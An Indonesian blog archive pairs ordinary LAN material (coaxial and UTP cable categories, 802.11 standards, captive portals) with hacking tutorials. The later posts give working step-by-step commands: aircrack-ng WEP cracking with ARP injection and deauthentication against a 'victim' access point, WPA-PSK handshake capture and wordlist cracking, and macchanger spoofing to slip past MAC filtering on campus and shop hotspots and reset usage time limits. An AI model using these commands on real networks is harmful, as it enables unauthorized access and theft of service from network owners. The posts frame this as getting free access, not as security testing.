Tampilkan postingan dengan label Instalasi LAN. Tampilkan semua postingan
Tampilkan postingan dengan label Instalasi LAN. Tampilkan semua postingan

Tipe Kabel Coaxial

Coaxial Cable
Kabel Coaxial banyak digunakan untuk instalasi jaringan, kabel ini banyak digunakan karena mudah dalam instalasinya. Beberapa tipe kabel Coaxial, di samping mudah instalasinya, juga murah harganya, sehingga dapat menekan biaya instalasi jaringanya. Semua tipe kabel Coaxial memiliki bagian-bagian sebagai berikut :
Konduktor, berupa kabel tunggal atau kabel serabut yang merupakan inti dari kabel Coaxial. Bagian ini merupakan bagian kabel yang digunakan untuk transmisi data atau sebagai kabel data.
Isolator dalam, merupakan lapisan isolator antara konduktor dengan grounding, yang juga berfungsi sebagai pelindung kabel inti (konduktor).
Isolator luar, bagian berupa lapisan isolator yang juga merupakan kulit kabel.
Ada beberapa tipe kabel coaxial yang digunakan dalam jaringan komputer, yaitu :
Coaxial RG-62A/U
Coaxial RG-58A/U (Thinnet)
Coaxial RG-8 (Yellow Cable / Thicknet)

a. Kabel Coaxial RG-62A/U

Kabel Coaxial RG-62A/U berupa kabel Coaxial kecil berwarna hitam dengan inti berupa kabel serabut. Ukuran kabel ini kurang lebih 0.25 inch (6 mm). Kabel coaxial ini mampu mentransfer data dengan kecepatan mencapai 2,5 Mbps, yang merupakan kecepatan yang cukup rendah rendah untuk sebuah komunikasi data dalam sebuah jaringan komputer, namun karena kemudahan instalasinya maka kabel ini banyak digunakan. Kabel ini mempunyai impedensi sebesar 93 ohm dan mampu mentransfer data sampai jarak 1000 feet pada topologi bus dan mencapai 2000 feet pada topologi star dengan menggunakan bantuan active hub.


b. Kabel Coaxial RG-58A/U (Thinnet) Baseband

Kabel Coaxial RG-58A/U merupakan kabel coaxial kecil berwarna hitam mirip seperti kabel coaxial RG-62A/U. Kabel Coaxial RG-58A/U menggunakan inti kabel berupa kabel tembaga tunggal, namun ada juga yang menggunakan kabel serabut. Kabel ini memiliki impedensi sebesar 50 ohm. Kabel ini mampu menghubungkan hingga 30 simpul jaringan (node) dengan jarak maksimum mencapai 185 meter (607 feet).


c. Kabel Coaxial RG-8 (Yellow Cable / Thicknet) Broadband

Kabel Coaxial RG-8 ini berwarna kuning maka kabel ini sering disebut dengan Yellow Cable. Kabel coaxial ini memiliki ukuran fisik dua kali lebih besar dibanding kabel coaxial RG-58A/U , yaitu berdiameter 13 mm (0.5 inch). Namun demikian kabel ini memiliki nilai independensi sama dengan kabel coaxial RG-58A/U, yaitu sebesar 50 ohm. Kabel Coaxial ini mampu mentransmisikan data hingga jarak 500 meter tanpa perangkat tambahan repeater atau lainnya

Kategori Kabel UTP



Unshielded twisted-pair (disingkat UTP) adalah sebuah jenis kabel jaringan yang menggunakan bahan dasar tembaga, yang tidak dilengkapi dengan shield internal. UTP merupakan jenis kabel yang paling umum yang sering digunakan di dalam jaringan lokal (LAN), karena memang harganya yang rendah, fleksibel dan kinerja yang ditunjukkannya relatif bagus. Dalam kabel UTP, terdapat insulasi satu lapis yang melindungi kabel dari ketegangan fisik atau kerusakan tapi, tidak seperti kabel Shielded Twisted-pair (STP), insulasi tersebut tidak melindungi kabel dari interferensi elektromagnetik.
Kabel UTP memiliki impendansi kira-kira 100 Ohm dan tersedia dalam beberapa kategori yang ditentukan dari kemampuan transmisi data yang dimilikinya seperti tertulis dalam tabel berikut.
Kategori
Kegunaan
Category 1 (Cat1)
Kualitas suara analog
Category 2 (Cat2)
Transmisi suara digital hingga 4 megabit per detik
Category 3 (Cat3)
Transmisi data digital hingga 10 megabit per detik
Category 4 (Cat4)
Transmisi data digital hingga 16 megabit per detik
Category 5 (Cat5)
Transmisi data digital hingga 100 megabit per detik
Enhanced Category 5 (Cat5e)
Transmisi data digital hingga 250 megabit per detik
Category 6 (Cat6)
Memiliki kecepatan up to 250Mbps atau lebih dari dua kali cat-5 dan cat-5e
Category 6a
Kabel masa depan untuk kecepatan up to 10Gbps
Category 7 (Cat7)
di design untuk bekerja pada frequensi up to 600Mhz.
Di antara semua kabel di atas, kabel Enhanced Category 5 (Cat5e) dan Category 5 (Cat5) merupakan kabel UTP yang paling populer yang banyak digunakan dalam jaringan berbasis teknologi Ethernet.
 

Kategori 1

Kabel UTP Category 1 (Cat1) adalah kabel UTP dengan kualitas transmisi terendah, yang didesain untuk mendukung komunikasi suara analog saja. Kabel Cat1 digunakan sebelum tahun 1983 untuk menghubungkan telepon analog Plain Old Telephone Service (POTS). Karakteristik kelistrikan dari kabel Cat1 membuatnya kurang sesuai untuk digunakan sebagai kabel untuk mentransmisikan data digital di dalam jaringan komputer, dan karena itulah tidak pernah digunakan untuk tujuan tersebut.

Kategori 2

Kabel UTP Category 2 (Cat2) adalah kabel UTP dengan kualitas transmisi yang lebih baik dibandingkan dengan kabel UTP Category 1 (Cat1), yang didesain untuk mendukung komunikasi data dan suara digital. Kabel ini dapat mentransmisikan data hingga 4 megabit per detik. Seringnya, kabel ini digunakan untuk menghubungkan node-node dalam jaringan dengan teknologi Token Ring dari IBM. Karakteristik kelistrikan dari kabel Cat2 kurang cocok jika digunakan sebagai kabel jaringan masa kini. Gunakanlah kabel yang memiliki kinerja tinggi seperti Category 3, Category 4, atau Category 5.

Category 3

Kabel UTP Category 3 (Cat3) adalah kabel UTP dengan kualitas transmisi yang lebih baik dibandingkan dengan kabel UTP Category 2 (Cat2), yang didesain untuk mendukung komunikasi data dan suara pada kecepatan hingga 10 megabit per detik. Kabel UTP Cat3 menggunakan kawat-kawat tembaga 24-gauge dalam konfigurasi 4 pasang kawat yang dipilin (twisted-pair) yang dilindungi oleh insulasi. Cat3 merupakan kabel yang memiliki kemampuan terendah (jika dilihat dari perkembangan teknologi Ethernet), karena memang hanya mendukung jaringan 10BaseT saja. Seringnya, kabel jenis ini digunakan oleh jaringan IBM Token Ring yang berkecepatan 4 megabit per detik, sebagai pengganti Cat2.
Tabel berikut menyebutkan beberapa karakteristik yang dimiliki oleh kabel UTP Category 3 pada beberapa frekuensi.
Karakteristik
Nilai pada frekuensi 10 MHz
Nilai pada frekuensi 16 MHz
Attenuation (pelemahan sinyal)
27 dB/1000 kaki
36 dB/1000 kaki
Near-end Cross-Talk (NEXT)
26 dB/1000 kaki
23 dB/1000 kaki
Resistansi
28.6 Ohm/1000 kaki
28.6 Ohm/1000 kaki
Impendansi
100 Ohm (±15%)
100 Ohm (±15%)
Kapasitansi
18 picoFarad/kaki
18 picoFarad/kaki

Category 4

Kabel UTP Category 4 (Cat4) adalah kabel UTP dengan kualitas transmisi yang lebih baik dibandingkan dengan kabel UTP Category 3 (Cat3), yang didesain untuk mendukung komunikasi data dan suara hingga kecepatan 16 megabit per detik. Kabel ini menggunakan kawat tembaga 22-gauge atau 24-gauge dalam konfigurasi empat pasang kawat yang dipilin (twisted pair) yang dilindungi oleh insulasi. Kabel ini dapat mendukung jaringan Ethernet 10BaseT, tapi seringnya digunakan pada jaringan IBM Token Ring 16 megabit per detik.
Tabel berikut menyebutkan beberapa karakteristik yang dimiliki oleh kabel UTP Category 4 pada beberapa frekuensi.
Karakteristik
Nilai pada frekuensi 10 MHz
Nilai pada frekuensi 20 MHz
Attenuation
20 dB/1000 kaki
31 dB/1000 kaki
Near-end Cross-Talk
41 dB/1000 kaki
36 dB/1000 kaki
Resistansi
28.6 Ohm/1000 kaki
28.6 Ohm/1000 kaki
Impedansi
100 Ohm (±15%)
100 Ohm (±15%)
Kapasitansi
18 picoFarad/kaki
18 picoFarad/kaki

Category 5

Kabel UTP Category 5 (Cat5) adalah kabel dengan kualitas transmisi yang jauh lebih baik dibandingkan dengan kabel UTP Category 4 (Cat4), yang didesain untuk mendukung komunikasi data serta suara pada kecepatan hingga 100 megabit per detik. Kabel ini menggunakan kawat tembaga dalam konfigurasi empat pasang kawat yang dipilin (twisted pair) yang dilindungi oleh insulasi. Kabel ini telah distandardisasi oleh Electronic Industries Alliance (EIA) dan Telecommunication Industry Association (TIA).
Kabel Cat5 dapat mendukung jaringan Ethernet (10BaseT), Fast Ethernet (100BaseT), hingga Gigabit Etheret (1000BaseT). Kabel ini adalah kabel paling populer, mengingat kabel serat optik yang lebih baik harganya hampir dua kali lipat lebih mahal dibandingkan dengan kabel Cat5. Karena memiliki karakteristik kelistrikan yang lebih baik, kabel Cat5 adalah kabel yang disarankan untuk semua instalasi jaringan.
Karakteristik
Nilai pada frekuensi 10 MHz
Nilai pada frekuensi 100 MHz
Attenuation
20 dB/1000 kaki
22 dB/1000 kaki
Near-end Cross-talk
47 dB/1000 kaki
32.3 dB/1000 kaki
Resistansi
28.6 Ohm/1000 kaki
28.6 Ohm/1000 kaki
Impendansi
100 Ohm (±15%)
100 Ohm (±15%)
Kapasitansi
18 picoFarad/kaki
18 picoFarad/kaki
Structural return loss
16 dB
16 dB
Delay skew
45 nanodetik/100 meter
45 nanodetik/100 meter

Enhanced Category 5

Kabel ini merupakan versi perbaikan dari kabel UTP Cat5, yang menawarkan kemampuan yang lebih baik dibandingkan dengan Cat5 biasa. Kabel ini mampu mendukung frekuensi hingga 250 MHz, yang direkomendasikan untuk penggunaan dalam jaringan Gigabit Ethernet, meskipun menggunaan kabel UTP Category 6 lebih disarankan untuk mencapai kinerja tertinggi.
Category 6

Kabel kategori 6 adalah standar kabel UTP dengan sertifikasi resmi paling tinggi. Kabel ini identik dengan CAT5E namun telah memenuhi standar yang lebih ketat bukan hanya soal kerapatan lilitan tiap pasang kabel namun juga termasuk tingkat penyaluran data, isolator kabel dan pelindung tiap pasang kabel. Dengan lilitan semakin rapat, ditambah semakin baik isolator dan pemisahan tiap pasang kabel maka semakin rendah noise atau berkurangnya sinyal sehingga CAT6 mampu menyalurkan data dengan bandwidth tertinggi di kelasnya. Kabel CAT6 biasanya juga terdiri dari empat pasang kabel tembaga. Jika Anda melakukan instalasi jaringan 1000Mbps atau Gigabit LAN, tak ada pilihan lain, kabel UTP tipe inilah yang harus digunakan.
 

IEEE 802.11b

IEEE 802.11b

IEEE 802.11b merupakan pengembangan dari standar IEEE 802.11 yang asli, yang bertujuan untuk meningkatkan kecepatan hingga 5.5 Mb/s atau 11 Mb/s tapi tetap menggunakan frekuensi 2.45 GHz. Dikenal juga dengan IEEE 802.11 HR. Pada prakteknya, kecepatan maksimum yang dapat diraih oleh standar IEEE 802.11b mencapai 5.9 Mb/s pada protokol TCP, dan 7.1 Mb/s pada protokol UDP. Metode transmisi yang digunakannya adalah DSSS.
Channel Frekuensi Nominal (MHz) Frekuensi Minimum (MHz) Frekuensi Maksimum (MHz)
1 2412 2401 2423
2 2417 2405 2428
3 2422 2411 2433
4 2427 2416 2438
5 2432 2421 2443
6 2437 2426 2448
7 2442 2431 2453
8 2447 2436 2458
9 2452 2441 2463
10 2457 2446 2468
11 2462 2451 2473



IEEE 802.11g
IEEE 802.11g adalah sebuah standar jaringan nirkabel yang bekerja pada frekuensi 2,45 GHz dan menggunakan metode modulasi OFDM. 802.11g yang dipublikasikan pada bulan Juni 2003 mampu mencapai kecepatan hingga 54 Mb/s pada pita frekuensi 2,45 GHz, sama seperti halnya IEEE 802.11 biasa dan IEEE 802.11b. Standar ini menggunakan modulasi sinyal OFDM, sehingga lebih resistan terhadap interferensi dari gelombang lainnya.
 
IEEE 802.11a
IEEE 802.11a adalah sebuah teknologi jaringan nirkabel yang merupakan pengembangan lebih lanjut dari standar IEEE 802.11 yang asli, namun bekerja pada bandwidth 5.8 GHz dengan kecepatan maksimum hingga 54 Mb/s. Metode transmisi yang digunakan adalah Orthogonal Frequency Division Multiplexing (OFDM), yang mengizinkan pentransmisian data secara paralel di dalam sub-frekuensi. Penggunaan OFDM memiliki keunggulan resistansi terhadap interferensi dengan gelombang lain, dan tentunya peningkatan throughput. Standar ini selesai diratifikasi pada tahun 1999.

IEEE 802.11n
IEEE 802.11n-2009 adalah sebuah perubahan standar jaringan nirkabel 802,11-2.007 IEEE untuk meningkatkan throughput lebih dari standar sebelumnya, seperti 802.11b dan 802.11g, dengan peningkatan data rate maksimum dalam lapisan fisik OSI (PHY) dari 54 Mbit/s ke maksimum 600 Mbit/s dengan menggunakan empat ruang aliran di lebar saluran 40 MHz. Sejak 2007, Wi-Fi Alliance telah memberikan sertifikat interoperabilitas produk "draft-N" berdasarkan pada draft 2.0 dari spesifikasi IEEE 802.11n. Aliansi telah meningkatkan perangkat ini dengan tes kompatibilitas untuk beberapa perangkat tambahan yang diselesaikan setelah Draft 2.0 . Lebih jauh lagi, telah ditegaskan
bahwa semua produk bersertifikat draft-n tetap kompatibel dengan produk-produk standar akhir.

IEEE 802.11n didasarkan pada standar 802,11 sebelumnya dengan menambahkan multiple-input multiple-output (MIMO) dan 40 MHz ke lapisan saluran fisik (PHY), dan frame agregasi ke MAC layer. MIMO adalah teknologi yang menggunakan beberapa antena untuk menyelesaikan informasi lebih lanjut secara koheren dari pada menggunakan satu antena. Dua manfaat penting MIMO adalah
menyediakan keragaman antenna dan spasial multiplexing untuk 802.11n. Kemampuan lain teknologi MIMO adalah menyediakan Spatial Division Multiplexing (SDM). SDM secara spasial multiplexes beberapa stream data independen, ditransfer secara serentak dalam satu saluran spektral bandwidth. MIMO SDM dapat meningkatkan throughput data seperti jumlah dari pemecahan stream data
spatial yang ditingkatkan. Setiap aliran spasial membutuhkan antena yang terpisah baik pada pemancar dan penerima. Di samping itu, teknologi MIMO memerlukan rantai frekuensi radio yang terpisah dan analog-ke-digital converter untuk masingmasing antena MIMO yang merubah biaya pelaksanaan menjadi lebih tinggi dibandingkan dengan sistem non-MIMO. Saluran 40 MHz adalah fitur lain yang dimasukkan ke dalam 802.11n yang menggandakan lebar saluran dari 20 MHz di 802.11 PHY sebelumnya untuk mengirimkan data. Hal ini memungkinkan untuk penggandaan kecepatan data PHY
melebihi satu saluran 20 MHz. Hal ini dapat diaktifkan di 5 GHz mode, atau dalam 2,4 GHz jika ada pengetahuan yang tidak akan mengganggu beberapa 802.11 lainnya atau sistem non-802.11 (seperti Bluetooth) menggunakan frekuensi yang sama. Arsitektur coupling MIMO dengan saluran bandwidth yang lebih luas menawarkan peningkatan fisik transfer rate melebihi 802.11a (5 GHz) dan 802.11g
(2,4 GHz).

Tabel Spektrum Frekuensi

Spektrum elektromagnetik dibagi dalam berbagai klasifikasi antara lain : Low Frekuensi (LF), Medium Frekuensi (MF), High Frekuensi (HF), Very High Frekuensi (VHF), Ultra High Frekuensi (UHF), Super High Frekuensi (SHF), EHF, THF. Dimana untuk frekuensi dari 10 Khz – 10 Ghz merupakan batas yangdapat dilewati oleh gelombang radio, microwave, infra red ,dan ultraviolet.
kemajuan teknologi telah mewujudkan beberapa media rangkaian yang melakukan proses transmisi data tanpa menggunakan wire atau lebih dikenal "wireless trasnmission". media tersebut adalah Spektrum Elektromagnetik (Electromagnetic Spectrum), Pemindahan Radio (Radio Transmission), Pemindahan Gelombang Mikro (Microwave Transmission), Pemindahan Gelombang Ringan (Lightwave Transmission) dan Gelombang Infra Merah serta Milimeter (Infrared and Milimeter Waves)

Berikut adalh tabel spektrum Frequency :

Captive Portal

Captive Portal adalah suatu teknik autentikasi dan pengamanan data yang lewat dari network internal ke network eksternal. Captive Portal sebenarnya merupakan mesin router atau gateway yang memproteksi atau tidak mengizinkan adanya trafik, hingga user melakukan registrasi. Biasanya Captive Portal ini digunakan pada infrastruktur wireless sseperti hotspot area, tapi tidak menutup kemungkinan diterapkan pada jaringan kabel.

Berikut cara kerja Captive Portal :  Pada saat seorang pengguna berusaha untuk melakukan browsing ke Internet, captive portal akan memaksa pengguna yang belum terauthentikasi untuk menuju ke Authentication web dan akan di beri prompt login termasuk informasi tentang hotspot yang sedang dia gunakan. Router / wireless gateway mempunyai mekanisme untuk menghubungi sebuah Authentication server untuk mengetahui identitas dari pengguna wireless yang tersambung, maka wireless gateway akan dapat menentukan untuk membuka aturan firewall-nya untuk pengguna tertentu.
A captive portal ternyata adalah sebuah Web browser ke dalam perangkat otentikasi.  Hal ini dilakukan dengan mencegat semua paket, terlepas dari alamat atau port, sampai user membuka browser dan mencoba untuk mengakses Internet.  Pada Saat itu browser ini dialihkan ke halaman web yang membutuhkan otentikasi, atau hanya menampilkan acceptable use policy dan meminta user untuk setuju.
Ada beberapa  cara untuk menerapkan captive portal.

Redirection oleh HTTP
Jika  klien yang tidak terauthentikasi melakukan permintaan untuk menampilkan sebuah situs web, DNS server mendapatkan permintaan resolve IP alamat web  oleh browser seperti biasa.  Browser kemudian mengirimkan permintaan HTTP ke alamat IP.  Permintaan ini, kemudian dicegat oleh firewall dan diteruskan ke sebuah server redirect.  Server redirect ini menanggapi  respon HTTP yang berisi kode status HTTP 302 untuk mengarahkan klien ke Captive Portal. Untuk klien, proses ini benar-benar transparan. Klien mengasumsikan bahwa situs web menanggapi permintaan awal dan mengirim redirect.
IP Alias
Lalu lintas Klien  dapat juga diarahkan dengan menggunakan IP pada tingkat layer 3. Metode ini memiliki kelemahan yaitu konten yang disajikan kepada klien tidak sesuai dengan URL.
Redirection oleh DNS
Ketika klien meminta sebuah situs web, DNS server  diminta meresolve alamat adalah browser. Firewall akan memastikan bahwa hanya server DNS  yang diberikan oleh DHCP yang dapat digunakan oleh klien yang tidak terauthentikasi (atau, sebaliknya, akan meneruskan seluruh permintaan DNS oleh klien tidak terauthentikasi ke server DNS). Server DNS ini akan mengembalikan alamat IP dari halaman Portal Captive sebagai hasil dari semua DNS lookup. Teknik ini dinamakan DNS poisoning.

Captive Portal adalah suatu teknik autentikasi dan pengamanan data yang lewat dari network internal ke network eksternal. Captive Portal sebenarnya merupakan mesin router atau gateway yang memproteksi atau tidak mengizinkan adanya trafik, hingga user melakukan registrasi. Biasanya Captive Portal ini digunakan pada infrastruktur wireless sseperti hotspot area, tapi tidak menutup kemungkinan diterapkan pada jaringan kabel.
Berikut cara kerja Captive Portal: Pada saat seorang pengguna berusaha untuk melakukan browsing ke Internet, captive portal akan memaksa pengguna yang belum terauthentikasi untuk menuju ke Authentication web dan akan di beri prompt login termasuk informasi tentang hotspot yang sedang dia gunakan. Router / wireless gateway mempunyai mekanisme untuk menghubungi sebuah Authentication server untuk mengetahui identitas dari pengguna wireless yang tersambung, maka wireless gateway akan dapat menentukan untuk membuka aturan firewall-nya untuk pengguna tertentu.
Beberapa Software Captive Portal :
  • DuxTel Internet Commander – commercial hotspot solution designed for Mikrotik wireless systems
  • HotSpot Studio – commercial Windows based hotspot software
  • ChilliSpot – open source Linux daemon [abandoned]
  • CoovaChilli – both an open source linksys firmware and linux daemon
  • HotSpotSystem.com – Chillispot-based solution for free and Pay-Per-Use Hotspots
  • FirstSpot – commercial Windows based hotspot software
  • Hotspotexpress – software based for Linux platform (commercial)
  • WiFiDog Captive Portal Suite – small C based kernel solution (embeddable)
  • Wilmagate – C++ based and is executable both in Linux and Windows/Cygwin environments
  • pfSenseFreeBSD 6.2 based firewall software derived from m0n0wall
  • SweetSpot – Linux user-space, layer-3 daemon (open source)
  • Air Marshal – software based for Linux platform (commercial)

Sumber :

http://sugeng.staff.ipb.ac.id
http://faruqafif.student.fkip.uns.ac.id

Jebol WEP

Ini adalah bagian kedua dari praktek Menjebol HotSpot. Jikalau pada artikel sebelumnya kita membahas bagaimana menembus batas proteksi MAC address, pada kali ini kita akan membahas bagaimana mendapatkan akses HotSpot yang menggunakan WEP (Wired Equivalent Privacy) Keys.

Alat yang kita butuhkan adalah :

1. Sebuah Laptop

2.Sebuah Wireless Adapter yang mendukung Mode Monitoring dan Injection.

3.Linux Live CD distro : Backtrack 2.0

Mengapa kita membutuhkan Laptop ? Tentu saja karena akses HotSpot biasanya diberikan untuk pengguna yang Mobile. Dan dengan laptop kita memiliki fleksibilitas yang tinggi pula.

Lalu apa yang dimaksud dengan Wireless Adapter yang mendukung mode monitoring dan injection ? Perlu anda ketahui, tidak semua Wireless Adapter yang ada dipasaran, maupun yang sudah built in dalam laptop, mendukung mode monitoring dan injection yang diperlukan untuk WEP hacking ini.

Yang perlu anda perhatikan adalah Chip dari Wireless Adapter anda. Chip terbaik dalam melakukan wireless hacking adalah Atheros dan Ralink. Namun Atheros adalah pilihan utama. Tidak banyak wireless adapter yang memiliki chip atheros di Indonesia, anda dapat mencari beberapa merk dibawah ini :

1. 3Com 3CRPAG175B

2.3Com 3CRXJK10075

3.DLINK DWL-G630 Rev C

4.Linksys WPC55AG

5.TrendNET TEW-441PC

6.TrendNET TEW-443PI

7.TP-LINK TL-WN610G



Jika anda telah memilikinya, maka anda dapat memulai Langkah pertama dalam Wireless Hacking ini :) yaitu lakukan booting dengan CD Backtrack anda .


Langkah kedua tentu saja, langsung buka console anda dan ketikkan command berikut(saya asumsikan wireless adapter anda berchipset atheros) :

airmon-ng stop ath0

airmon-ng start wifi0

Kedua command ini berguna untuk mengaktifkan mode monitoring dan injection pada wireless adapter anda. Kemudian lanjutkan dengan monitoring jaringan wireless dengan mengetikkan command berikut :

airodump-ng ath0



Akan tampil seluruh jaringan wireless yang terdeteksi seperti diatas. Tampak terlihat Access Point Rek-1 diproteksi dengan WEP Encryption. itulah korban kita. AP Rek-1 diset pada Channel 6 dan memiliki BSSID 00:19:5B:5C:62:92 . Sekarang saatnya melakukan penyerangan.Buka Console baru dan ketikkan :

airodump-ng –channel 6 –bssid 00:19:5B:5C:62:92 -w hasil ath0

Perintah diatas akan mengumpulkan paket data yang dibutuhan untuk proses Cracking.

Selanjutnya lakukan injeksi paket pada Client yang terkoneksi pada AP untuk mendapatkan paket ARP lebih cepat. Bukalah lagi Console baru tanpa menutup console yang sebelumnya dan ketik :

aireplay-ng –arpreplay -b 00:19:5B:5C:62:92 -h 00:19:D2:45:D0:EB ath0

Client yang diserang ini memiliki Mac address 00:19:D2:45:D0:EB (lihat pada screenshot diatas pada tabel station yang terletak dibawah) . Anda tidak menemukan Mac address 00:19:D2:45:D0:EB pada screenshot ? tentu saja karena saat dilakukan screenshot belum terdeteksi :P
Tidak sabar menunggu ? Untuk mempercepat lagi datangnya ARP , maka kita dapat melakukan serangan Deauthentication untuk memutuskan hubungan Client ke AP sehingga ARP yang biasanya didapat saat awal koneksi client dapat lebih cepat didapat. Bukalah console baru sekali lagi dan ketikkan :

aireplay-ng –deauth 5 -c 00:19:D2:45:D0:EB -a 00:19:5B:5C:62:92 ath0

Hasil dari ketiga perintah ini dapat anda lihat pada screenshot dibawah ini :



I Like this Screenshot :)
Sampai sejauh ini anda telah melakukan pengumpulan paket yang dibutuhkan untuk menjebol WEP Keys. Langkah terakhir yang harus anda lakukan adalah buka console baru lagi dan ketikkan perintah berikut :

aircrack-ng hasil*.cap

atau apabila anda memiliki aircrack versi terbaru anda dapat juga mengetikkan perintah seperti berikut :

aircrack-ptw hasil-01.cap

Dan tunggulah beberapa menit hingga anda mendapatkan key tersebut :) Maaf Screenshot yang satu ini lupa saya buat, tapi yang pasti saya berhasil melakukannya dalam waktu 30 Menit dengan perintah aircrack-ptw hasil-01.cap .

Jebol WPA/PSK

Sebenarnya Tutorial ini sudah sangat basi bagi kaum backtrackers, tapi ini khusus ditujukan kepada newbie yang ingin tahu tentang cara menghacking jaringan infrastructure dengan encryp WPA-PSK..agar tidak ada pertanyaan yang di ulang2 seperti yang terjadi di [b]area pertanyaan pemula[/b]

semoga tutorial ini dapat membantu…

[list]
Sebagai informasi
Tutorial ini telah dipraktekan langsung oleh saya sendiri pada jaringan warnet yang merupakan punya teman saya dan atas sepengetahuan dia…
sengaja tidak ada yang di kaburkan supaya lebih dimengerti


1. Siapkan CD Live Backtrack n tentunya dengan partnernya n of course sebatang rokok agar lebih santai..
2. masuk ke dekstop dengan perintah ~# startx
3. buka konsole dan ketikkan perintah :~# ifconfig -a




4. :~# ifconfig wlan0 up (tuk mengaktifkan interface wlan0)

  
5. :~# airmon-ng
:~# airmon-ng start wlan0[/color] (tuk membuat virtual interface mode monitor)


6. ~# airodump-ng mon0 (tuk memonitoring jaringan yang ada di sekitar)
[color=blue]mon0 adalah interface virtual hasil dari airmon-ng tadi


hasil dari airodump-ng mon0


7. :~# airodump-ng -w test –channel 11 –bssid 00904c910001 mon0
(tuk memonitoring khusus jaringan yang memiliki bssid 00:90:4C:91:00:01 pada channel 11 dan hasil dari monitoring di tulis pada file yang bernama ‘test’)


8. :~# aireplay-ng -0 1 -a 00904c910001 -c oo1cbfa13fe3 mon0
(aireplay-ng digunakan untuk mendisconnect salah satu client yaitu 00:1C:BF:A1:3F:E3 untuk mendapatkan paket handshake yang dibutuhkan untuk proses cracking)

-0 : mode serangan deAuthentication
1 : dilakukan sebanyak 1x deAuth [/list]



9. setelah mendapatkan paket handshake, selanjutnya adalah proses cracking dengan menggunakan aircrack dan file password dengan existensi .lst atau .txt dengan perintah
:~# aircrack-ng test-01.cap -w /pentest/passwords/wordlists/inawpa.txt

inawpa.txt adalah file password yang saya buat sendiri dan terletak pada /pentest/passwords/wordlists/inawpa.txt[/color]

sebagai informasi, keberhasilan proses cracking tergantung ada tidaknya password yang ada di list password dengan password yang sebenarnya…jika password yang digunakan pada jaringan tersebut ada di list password maka proses cracking akan berhasil dan jika password list yang qt miliki tidak mencatat password yang digunakan pada jaringan tersebut kemungkinan keberhasilan proses cracking akan gagal.

SEMOGA DAPAT MEMBANTU BAGI PARA NEWBIE…
kalo ada kekurangan mohon dicerahkan..

Hidup Backtrackers Indonesia

sumber:
www.indoacktrack.ro.id

Macfiltering Hacking

Macfiltering digunakan oleh admin ajaringan untuk mengamankan jaringannya agar jaringan bisa diakses atau terkoneksi kejarigannya dengan mac addrres yang udah didaftarin pada router… Nah, hal ini sering dimanfaatkan dikampus2 atau diswalayan dan bahkan penyedia internet memanfaatkan ini sebagai salah satu security yang mereka gunakan. Contohnya saja dikampus di DTE UGM yang menerapkan security ini.

Mungkin tujuan siadmin adalah yang bisa internetan dikampus hanya anak2 DTE yang udah daftar mac address laptopnya. Nah, dengan begitu kita memanfaatkan hal ini untuk internetan dikampus dengan tanpa daftar.

Pertama check dulu mac addres kita dengan perintah “ifconfig” dilinux, sedangkan di windus “ipconfig” pada command promtnya (start > run > cmd > typre here “ipconfig”). Saya pratekin livenya di linux.

    bash-3.1# ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:22:64:5c:11:60
    inet addr:192.168.1.158  Bcast:192.168.1.159  Mask:255.255.255.240
    inet6 addr: fe80::222:64ff:fe5c:1160/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:22880 errors:0 dropped:0 overruns:0 frame:0
    TX packets:27541 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:23898079 (22.7 MiB)  TX bytes:3050629 (2.9 MiB)
    Interrupt:17
Nah, mac address saya adalah 00:22:64:5c:11:60, nah alamat hardware kita ini yang dikenalinya… standardnya kan tidak bisa dirubah. Tapi dengan bantuan software, mac ini bisa dirubah. Ane mau rubah mac ane dengan mac yang udah terdaftar di suatu jaringan, anggap aja di kos2an saya pake security ini. Nah, ane tinggal rubah dengan macchanger. Misalnya saya mau rubah mac laptop saya dengan 00-1C-BF-4C-9F-8C pada device eth0.

    bash-3.1# macchanger -m 00:1C:BF:4C:9F:8C eth0
    Current MAC: 00:22:64:5c:11:60 (unknown)
    Faked MAC:   00:1c:bf:4c:9f:8c (unknown)

Sekarang kita coba check mac kita, udah berubah blum?

    eth0      Link encap:Ethernet  HWaddr 00:1c:bf:4c:9f:8c
    inet addr:192.168.1.158  Bcast:192.168.1.159  Mask:255.255.255.240
    inet6 addr: fe80::222:64ff:fe5c:1160/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:26382 errors:0 dropped:0 overruns:0 frame:0
    TX packets:30895 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:27827736 (26.5 MiB)  TX bytes:3435658 (3.2 MiB)
    Interrupt:17

Tu, udah berubah kan, ini kan percobaannya dengan card lan (NIC). kalau wifi tinggal ganti aja eth0 dengan wlan0, jika wifi anda dikenali sebagai wifi0.

Mac yang ane ganti tadi anggap aja mac yang udah terdaftar di routernya. Gimana dapatinnya?? ya banyak jalan. bisa dengan melakukan social engineering kekorban atau dengan sniffing routernya…

Nah, untuk diswalayan2 biasanya dia merecord lama kita internet dengan mengenali mac kita. Misalnya sudah 1jam, otomatis terputus dari jaringan. So, hanya rubah aja mac kita secara random tiap 1 jam… Perintah yang digunakan adalah macchanger -r car-lan-kita.

    bash-3.1# macchanger -r eth0
    Current MAC: 00:1c:bf:4c:9f:8c (unknown)
    Faked MAC:   f2:07:c9:c4:20:83 (unknown)

sekarang coba chek lagi dengan ifconfig

    bash-3.1# ifconfig
    eth0      Link encap:Ethernet  HWaddr f2:07:c9:c4:20:83
    inet addr:192.168.1.158  Bcast:192.168.1.159  Mask:255.255.255.240
    inet6 addr: fe80::222:64ff:fe5c:1160/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
    RX packets:27864 errors:0 dropped:0 overruns:0 frame:0
    TX packets:32353 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:29822772 (28.4 MiB)  TX bytes:3609774 (3.4 MiB)
    Interrupt:17

Nah… dah berubah kan.. sekarang saatnya berinternet ria.

Tollnya dapad didownload di sini untuk windows

dan untuk linux disini

Hacking Tools (List)

DHCP Server

